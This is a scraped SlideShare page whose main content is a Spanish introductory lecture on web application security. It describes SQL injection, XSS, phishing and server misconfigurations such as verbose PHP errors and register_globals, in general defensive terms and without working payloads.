Conoce todo sobre la zona desmilitarizada (DMZ)
Conoce todo sobre la zona desmilitarizada (DMZ)Conoce todo sobre la zona desmilitarizada (DMZ)
Conoce todo sobre la zona desmilitarizada (DMZ)
 
SEGURIDAD INFORMATICA
SEGURIDAD INFORMATICASEGURIDAD INFORMATICA
SEGURIDAD INFORMATICA
 
Seguridad informatica slideshare
Seguridad informatica slideshareSeguridad informatica slideshare
Seguridad informatica slideshare
 
Seguridad En Profundidad, Defense in Depth (DiD)
Seguridad En Profundidad, Defense in Depth (DiD)Seguridad En Profundidad, Defense in Depth (DiD)
Seguridad En Profundidad, Defense in Depth (DiD)
 
Xss ppt
Xss pptXss ppt
Xss ppt
 
2.2 lenguajes del lado cliente
2.2 lenguajes del lado cliente2.2 lenguajes del lado cliente
2.2 lenguajes del lado cliente
 
Network Security: Attacks, Tools and Techniques
Network Security: Attacks, Tools and TechniquesNetwork Security: Attacks, Tools and Techniques
Network Security: Attacks, Tools and Techniques
 
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
 
Vpn exposicion
Vpn exposicionVpn exposicion
Vpn exposicion
 
Dns caracteristicas-y-propiedades
Dns caracteristicas-y-propiedadesDns caracteristicas-y-propiedades
Dns caracteristicas-y-propiedades
 

Similar a Seguridad en los sistemas web

Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015
Securinf.com Seguridad Informatica - Tecnoweb2.com
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3
tantascosasquenose
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Alonso Caballero
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
seguridadelinux
 
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Alonso Caballero
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones Web
Alonso Caballero
 
Seguridad en php
Seguridad en phpSeguridad en php
01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptx01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptx
ssusercb51cd
 
Owasp top ten 2019
Owasp top ten 2019Owasp top ten 2019
Owasp top ten 2019
Santiago Rodríguez Paniagua
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
camposer
 
Owasp proyecto
Owasp proyectoOwasp proyecto
Owasp proyecto
Fernando Solis
 
Temas owasp
Temas owaspTemas owasp
Temas owasp
Fernando Solis
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
Carlos Javier Majerhua
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
kernelinux
 
Vulnerabilidades del Software
Vulnerabilidades del SoftwareVulnerabilidades del Software
Vulnerabilidades del Software
lechosopowers
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones web
Jose Mato
 
Ciberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptxCiberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptx
bermudeznerhissaci00
 
Ciberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptxCiberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptx
bermudeznerhissaci00
 

Similar a Seguridad en los sistemas web (20)

Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
 
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones Web
 
Seguridad en php
Seguridad en phpSeguridad en php
Seguridad en php
 
01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptx01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptx
 
Owasp top ten 2019
Owasp top ten 2019Owasp top ten 2019
Owasp top ten 2019
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
 
Owasp proyecto
Owasp proyectoOwasp proyecto
Owasp proyecto
 
Temas owasp
Temas owaspTemas owasp
Temas owasp
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
 
Vulnerabilidades del Software
Vulnerabilidades del SoftwareVulnerabilidades del Software
Vulnerabilidades del Software
 
Aplicaciones Web Seguras (Anti-SQLi)
Aplicaciones Web Seguras (Anti-SQLi)Aplicaciones Web Seguras (Anti-SQLi)
Aplicaciones Web Seguras (Anti-SQLi)
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones web
 
Ciberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptxCiberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptx
 
Ciberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptxCiberseguridad y Seguridad Informática.pptx
Ciberseguridad y Seguridad Informática.pptx
 
Exposicion univ simon_bolivar
Exposicion univ simon_bolivarExposicion univ simon_bolivar
Exposicion univ simon_bolivar
 

Más de Facultad de Ciencias y Sistemas

Ejercicios HTML 5
Ejercicios HTML 5Ejercicios HTML 5
CSS3
CSS3CSS3
09 ordenamiento-en-vectores-en-c
09 ordenamiento-en-vectores-en-c09 ordenamiento-en-vectores-en-c
09 ordenamiento-en-vectores-en-c
Facultad de Ciencias y Sistemas
 
08 mas-de-vectores-en-c
08 mas-de-vectores-en-c08 mas-de-vectores-en-c
08 mas-de-vectores-en-c
Facultad de Ciencias y Sistemas
 
07 vectores-en-c final
07 vectores-en-c final07 vectores-en-c final
07 vectores-en-c final
Facultad de Ciencias y Sistemas
 
06 clases-en-c
06 clases-en-c06 clases-en-c
05 cadenas-de-caracteres-en-c
05 cadenas-de-caracteres-en-c05 cadenas-de-caracteres-en-c
05 cadenas-de-caracteres-en-c
Facultad de Ciencias y Sistemas
 
04 mas-estructuras-iterativas-en-c
04 mas-estructuras-iterativas-en-c04 mas-estructuras-iterativas-en-c
04 mas-estructuras-iterativas-en-c
Facultad de Ciencias y Sistemas
 
03 estructuras-iterativas-en-c
03 estructuras-iterativas-en-c03 estructuras-iterativas-en-c
03 estructuras-iterativas-en-c
Facultad de Ciencias y Sistemas
 
02 mas-de-las-estructuras-de-programacion-en-c
02 mas-de-las-estructuras-de-programacion-en-c02 mas-de-las-estructuras-de-programacion-en-c
02 mas-de-las-estructuras-de-programacion-en-c
Facultad de Ciencias y Sistemas
 
01 estructuras-de-programacion-en-c
01 estructuras-de-programacion-en-c01 estructuras-de-programacion-en-c
01 estructuras-de-programacion-en-c
Facultad de Ciencias y Sistemas
 
Procesamiento del lenguaje natural con python
Procesamiento del lenguaje natural con pythonProcesamiento del lenguaje natural con python
Procesamiento del lenguaje natural con python
Facultad de Ciencias y Sistemas
 
Actividades de aprendizaje en Moodle
Actividades de aprendizaje en MoodleActividades de aprendizaje en Moodle
Actividades de aprendizaje en Moodle
Facultad de Ciencias y Sistemas
 
Creación de grupos en Moodle
Creación de grupos en MoodleCreación de grupos en Moodle
Creación de grupos en Moodle
Facultad de Ciencias y Sistemas
 
Introducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con JavaIntroducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con Java
Facultad de Ciencias y Sistemas
 
Como crear un diagrama de clases
Como crear un diagrama de clasesComo crear un diagrama de clases
Como crear un diagrama de clases
Facultad de Ciencias y Sistemas
 
Diagrama de clases - Ejemplo monográfico 02
Diagrama de clases - Ejemplo monográfico 02Diagrama de clases - Ejemplo monográfico 02
Diagrama de clases - Ejemplo monográfico 02
Facultad de Ciencias y Sistemas
 
Diagrama de clases - Ejemplo monográfico 01
Diagrama de clases - Ejemplo monográfico 01Diagrama de clases - Ejemplo monográfico 01
Diagrama de clases - Ejemplo monográfico 01
Facultad de Ciencias y Sistemas
 
Otro ejemplo de diagrama de clases UML
Otro ejemplo de diagrama de clases UMLOtro ejemplo de diagrama de clases UML
Otro ejemplo de diagrama de clases UML
Facultad de Ciencias y Sistemas
 
Un ejemplo de diagrama de clases
Un ejemplo de diagrama de clasesUn ejemplo de diagrama de clases
Un ejemplo de diagrama de clases
Facultad de Ciencias y Sistemas
 

Más de Facultad de Ciencias y Sistemas (20)

Ejercicios HTML 5
Ejercicios HTML 5Ejercicios HTML 5
Ejercicios HTML 5
 
CSS3
CSS3CSS3
CSS3
 
09 ordenamiento-en-vectores-en-c
09 ordenamiento-en-vectores-en-c09 ordenamiento-en-vectores-en-c
09 ordenamiento-en-vectores-en-c
 
08 mas-de-vectores-en-c
08 mas-de-vectores-en-c08 mas-de-vectores-en-c
08 mas-de-vectores-en-c
 
07 vectores-en-c final
07 vectores-en-c final07 vectores-en-c final
07 vectores-en-c final
 
06 clases-en-c
06 clases-en-c06 clases-en-c
06 clases-en-c
 
05 cadenas-de-caracteres-en-c
05 cadenas-de-caracteres-en-c05 cadenas-de-caracteres-en-c
05 cadenas-de-caracteres-en-c
 
04 mas-estructuras-iterativas-en-c
04 mas-estructuras-iterativas-en-c04 mas-estructuras-iterativas-en-c
04 mas-estructuras-iterativas-en-c
 
03 estructuras-iterativas-en-c
03 estructuras-iterativas-en-c03 estructuras-iterativas-en-c
03 estructuras-iterativas-en-c
 
02 mas-de-las-estructuras-de-programacion-en-c
02 mas-de-las-estructuras-de-programacion-en-c02 mas-de-las-estructuras-de-programacion-en-c
02 mas-de-las-estructuras-de-programacion-en-c
 
01 estructuras-de-programacion-en-c
01 estructuras-de-programacion-en-c01 estructuras-de-programacion-en-c
01 estructuras-de-programacion-en-c
 
Procesamiento del lenguaje natural con python
Procesamiento del lenguaje natural con pythonProcesamiento del lenguaje natural con python
Procesamiento del lenguaje natural con python
 
Actividades de aprendizaje en Moodle
Actividades de aprendizaje en MoodleActividades de aprendizaje en Moodle
Actividades de aprendizaje en Moodle
 
Creación de grupos en Moodle
Creación de grupos en MoodleCreación de grupos en Moodle
Creación de grupos en Moodle
 
Introducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con JavaIntroducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con Java
 
Como crear un diagrama de clases
Como crear un diagrama de clasesComo crear un diagrama de clases
Como crear un diagrama de clases
 
Diagrama de clases - Ejemplo monográfico 02
Diagrama de clases - Ejemplo monográfico 02Diagrama de clases - Ejemplo monográfico 02
Diagrama de clases - Ejemplo monográfico 02
 
Diagrama de clases - Ejemplo monográfico 01
Diagrama de clases - Ejemplo monográfico 01Diagrama de clases - Ejemplo monográfico 01
Diagrama de clases - Ejemplo monográfico 01
 
Otro ejemplo de diagrama de clases UML
Otro ejemplo de diagrama de clases UMLOtro ejemplo de diagrama de clases UML
Otro ejemplo de diagrama de clases UML
 
Un ejemplo de diagrama de clases
Un ejemplo de diagrama de clasesUn ejemplo de diagrama de clases
Un ejemplo de diagrama de clases
 

Último

Asistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdf
Asistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdfAsistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdf
Asistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdf
Demetrio Ccesa Rayme
 
Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...
Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...
Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...
Monseespinoza6
 
Junio 2024 Fotocopiables Ediba actividades
Junio 2024 Fotocopiables Ediba actividadesJunio 2024 Fotocopiables Ediba actividades
Junio 2024 Fotocopiables Ediba actividades
cintiat3400
 
Testimonio Paco Z PATRONATO_Valencia_24.pdf
Testimonio Paco Z PATRONATO_Valencia_24.pdfTestimonio Paco Z PATRONATO_Valencia_24.pdf
Testimonio Paco Z PATRONATO_Valencia_24.pdf
Txema Gs
 
Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...
Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...
Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...
AracelidelRocioOrdez
 
Semana #10-PM3 del 27 al 31 de mayo.pptx
Semana #10-PM3 del 27 al 31 de mayo.pptxSemana #10-PM3 del 27 al 31 de mayo.pptx
Semana #10-PM3 del 27 al 31 de mayo.pptx
LorenaCovarrubias12
 
El Liberalismo económico en la sociedad y en el mundo
El Liberalismo económico en la sociedad y en el mundoEl Liberalismo económico en la sociedad y en el mundo
El Liberalismo económico en la sociedad y en el mundo
SandraBenitez52
 
Asistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdf
Asistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdfAsistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdf
Asistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdf
Demetrio Ccesa Rayme
 
Fase 3; Estudio de la Geometría Analítica
Fase 3; Estudio de la Geometría AnalíticaFase 3; Estudio de la Geometría Analítica
Fase 3; Estudio de la Geometría Analítica
YasneidyGonzalez
 
Sesión: El fundamento del gobierno de Dios.pdf
Sesión: El fundamento del gobierno de Dios.pdfSesión: El fundamento del gobierno de Dios.pdf
Sesión: El fundamento del gobierno de Dios.pdf
https://gramadal.wordpress.com/
 
Fase 2, Pensamiento variacional y trigonometrico
Fase 2, Pensamiento variacional y trigonometricoFase 2, Pensamiento variacional y trigonometrico
Fase 2, Pensamiento variacional y trigonometrico
YasneidyGonzalez
 
ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...
ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...
ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...
JAVIER SOLIS NOYOLA
 
HABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdf
HABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdfHABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdf
HABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdf
DIANADIAZSILVA1
 
Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...
Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...
Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...
HuallpaSamaniegoSeba
 
El lugar mas bonito del mundo resumen del libro
El lugar mas bonito del mundo resumen del libroEl lugar mas bonito del mundo resumen del libro
El lugar mas bonito del mundo resumen del libro
Distea V región
 
corpus-christi-sesion-de-aprendizaje.pdf
corpus-christi-sesion-de-aprendizaje.pdfcorpus-christi-sesion-de-aprendizaje.pdf
corpus-christi-sesion-de-aprendizaje.pdf
YolandaRodriguezChin
 
CLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptx
CLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptxCLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptx
CLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptx
LilianaRivera778668
 
1º GRADO CONCLUSIONES DESCRIPTIVAS PRIMARIA.docx
1º GRADO CONCLUSIONES DESCRIPTIVAS  PRIMARIA.docx1º GRADO CONCLUSIONES DESCRIPTIVAS  PRIMARIA.docx
1º GRADO CONCLUSIONES DESCRIPTIVAS PRIMARIA.docx
FelixCamachoGuzman
 
c3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptx
c3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptxc3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptx
c3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptx
Martín Ramírez
 
PRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNET
PRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNETPRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNET
PRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNET
CESAR MIJAEL ESPINOZA SALAZAR
 

Último (20)

Asistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdf
Asistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdfAsistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdf
Asistencia Tecnica Cartilla Pedagogica DUA Ccesa007.pdf
 
Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...
Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...
Productos contestatos de la Séptima sesión ordinaria de CTE y TIFC para Docen...
 
Junio 2024 Fotocopiables Ediba actividades
Junio 2024 Fotocopiables Ediba actividadesJunio 2024 Fotocopiables Ediba actividades
Junio 2024 Fotocopiables Ediba actividades
 
Testimonio Paco Z PATRONATO_Valencia_24.pdf
Testimonio Paco Z PATRONATO_Valencia_24.pdfTestimonio Paco Z PATRONATO_Valencia_24.pdf
Testimonio Paco Z PATRONATO_Valencia_24.pdf
 
Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...
Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...
Septima-Sesion-Ordinaria-del-Consejo-Tecnico-Escolar-y-el-Taller-Intensivo-de...
 
Semana #10-PM3 del 27 al 31 de mayo.pptx
Semana #10-PM3 del 27 al 31 de mayo.pptxSemana #10-PM3 del 27 al 31 de mayo.pptx
Semana #10-PM3 del 27 al 31 de mayo.pptx
 
El Liberalismo económico en la sociedad y en el mundo
El Liberalismo económico en la sociedad y en el mundoEl Liberalismo económico en la sociedad y en el mundo
El Liberalismo económico en la sociedad y en el mundo
 
Asistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdf
Asistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdfAsistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdf
Asistencia Tecnica Cultura Escolar Inclusiva Ccesa007.pdf
 
Fase 3; Estudio de la Geometría Analítica
Fase 3; Estudio de la Geometría AnalíticaFase 3; Estudio de la Geometría Analítica
Fase 3; Estudio de la Geometría Analítica
 
Sesión: El fundamento del gobierno de Dios.pdf
Sesión: El fundamento del gobierno de Dios.pdfSesión: El fundamento del gobierno de Dios.pdf
Sesión: El fundamento del gobierno de Dios.pdf
 
Fase 2, Pensamiento variacional y trigonometrico
Fase 2, Pensamiento variacional y trigonometricoFase 2, Pensamiento variacional y trigonometrico
Fase 2, Pensamiento variacional y trigonometrico
 
ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...
ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...
ROMPECABEZAS DE ECUACIONES DE PRIMER GRADO OLIMPIADA DE PARÍS 2024. Por JAVIE...
 
HABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdf
HABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdfHABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdf
HABILIDADES MOTRICES BASICAS Y ESPECIFICAS.pdf
 
Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...
Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...
Varón de 30 años acude a consulta por presentar hipertensión arterial de reci...
 
El lugar mas bonito del mundo resumen del libro
El lugar mas bonito del mundo resumen del libroEl lugar mas bonito del mundo resumen del libro
El lugar mas bonito del mundo resumen del libro
 
corpus-christi-sesion-de-aprendizaje.pdf
corpus-christi-sesion-de-aprendizaje.pdfcorpus-christi-sesion-de-aprendizaje.pdf
corpus-christi-sesion-de-aprendizaje.pdf
 
CLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptx
CLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptxCLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptx
CLASE N.1 ANÁLISIS ADMINISTRATIVO EMPRESARIAL presentación.pptx
 
1º GRADO CONCLUSIONES DESCRIPTIVAS PRIMARIA.docx
1º GRADO CONCLUSIONES DESCRIPTIVAS  PRIMARIA.docx1º GRADO CONCLUSIONES DESCRIPTIVAS  PRIMARIA.docx
1º GRADO CONCLUSIONES DESCRIPTIVAS PRIMARIA.docx
 
c3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptx
c3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptxc3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptx
c3.hu3.p3.p2.Superioridad e inferioridad en la sociedad.pptx
 
PRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNET
PRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNETPRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNET
PRESENTACION DE LA SEMANA NUMERO 8 EN APLICACIONES DE INTERNET
 

Seguridad en los sistemas web

  • 2. SEGURIDAD EN LAS APLICACIONES WEB. La seguridad de las aplicaciones web es una rama de la Seguridad Informática que se encarga específicamente de la seguridad de sitios web, aplicaciones web y servicios web. Las aplicaciones, comúnmente son desarrolladas usando lenguajes de programación tales como PHP, JavaScript, Python, Ruby, ASP.NET, JSP, entre otros.
  • 3. SEGURIDAD EN LAS APLICACIONES WEB. En un alto nivel, la seguridad de aplicaciones web se basa en los principios de la seguridad de cualquier aplicación informática pero aplicada específicamente a la World Wide Web. Debido al descuido en las buenas prácticas de programación relacionadas con la seguridad, muchos sistemas son vulnerables a los ataques, incluyendo inyección SQL.
  • 4. SEGURIDAD EN LAS APLICACIONES WEB. La base de datos y la aplicación deben estar protegidas para evitar daños a causa de estas instrucciones maliciosas. Es necesario comprender cómo se estructuran estas instrucciones. Un sistema de web puede leer la entrada del usuario de varias maneras diferentes, basado en el entorno que se ha desarrollado la aplicación.
  • 5. SEGURIDAD EN LAS APLICACIONES WEB. En la mayoría de los casos, el SQLIA (Ataque de inyección SQL) viene en los envíos de formularios que se envían al sistema web a través de HTTP GET o POST. Los sistemas web acceden a los datos de entrada del usuario y logran acceder a cualquier otra variable de entorno.
  • 6. SEGURIDAD EN LAS APLICACIONES WEB. Al introducir los códigos por el formulario, el atacante tiene acceso a la zona restringida de la página como un administrador (normalmente el usuario administrador – administrator - es el primer usuario de la tabla de usuarios de la base de datos del sitio y tiene todos los permisos). Al acceder al sistema como administrador, tiene acceso a los datos confidenciales, por lo que puede utilizar estos datos de la manera que desee.
  • 7. SEGURIDAD EN LAS APLICACIONES WEB. Si el ataque es por URL el atacante utiliza códigos maliciosos en la URL de acceso al sistema para encontrar la información contenida en la base de datos, por lo tanto, la consecución de ambos descubren los datos sensibles de los usuarios, así como tablas o la destrucción de datos importantes.
  • 8. AMENAZAS DE SEGURIDAD Con la aparición de la Web 2.0, el intercambio de información a través de redes sociales y el crecimiento de los negocios en la adopción de la Web como un medio para hacer negocios y ofrecer servicios, los sitios web son constantemente atacados.
  • 9. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web.
  • 10. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Tipo de vulnerabilidad informática o agujero de seguridad, que permitir a una tercera persona inyectar en páginas web visitadas por el usuario código JavaScript o en otro lenguaje similar como VBScript.
  • 11. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Existe en aplicaciones que presente información en un navegador web u otro contenedor de páginas web. Pueden ser sitios web en línea o aplicaciones locales vulnerables a XSS, incluso el mismo navegador.
  • 12. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Usualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicación, o no sanear la salida adecuadamente para su presentación como página web.
  • 13. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web.  Directa (o Persistente): Consiste en insertar código HTML peligroso en sitios que lo permitan; incluyendo etiquetas como <script> o <iframe>.
  • 14. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web.  Indirecta (o Reflejada): Modifica valores que la aplicación usa para pasar variables entre dos páginas, sin usar sesiones y sucede por un mensaje o ruta en la URL del navegador, en una cookie, o cualquier cabecera HTTP (a veces navegadores y aplicaciones web, podría extenderse al DOM del navegador).
  • 15. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Un framework no actualizado, permite a los atacantes explotar las vulnerabilidades de la aplicación. Otro ejemplo es cuando los datos y los componentes estándar necesarios para la instalación de una aplicación, base de datos o componente son instalados automáticamente y no son eliminados.
  • 16. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Un atacante podrá descubrir las páginas de administración en el servidor y autenticarse utilizando el usuario y contraseña estándar de la instalación y tomar el control sobre la aplicación o servidor. cuando un listado de directorios no fuera desactivado. Un atacante, podrá listar los directorios de la aplicación y encontrar otras vulnerabilidades.
  • 17. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Si el módulo de PHP está configurado para mostrar errores, entregaría información valiosas al atacante como el servidor y el usuario: Warning mysql_connetc()[function.mysql- connect]: Access denied for user 'usuari'@'192.168.0.82' (using password: YES) in /www/html/web/admin.php on line 70
  • 18. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Si la directiva register_globals es on (habilitada) la variable $autoriza podría ser manipulada fácilmente. Si modifica el valor en off, el código funcionaria correctamente (libre de la vulnerabilidad). Otra forma sería inicializar la variable antes de su uso, en este caso el código funcionaría sin importar el estado de register_globals.
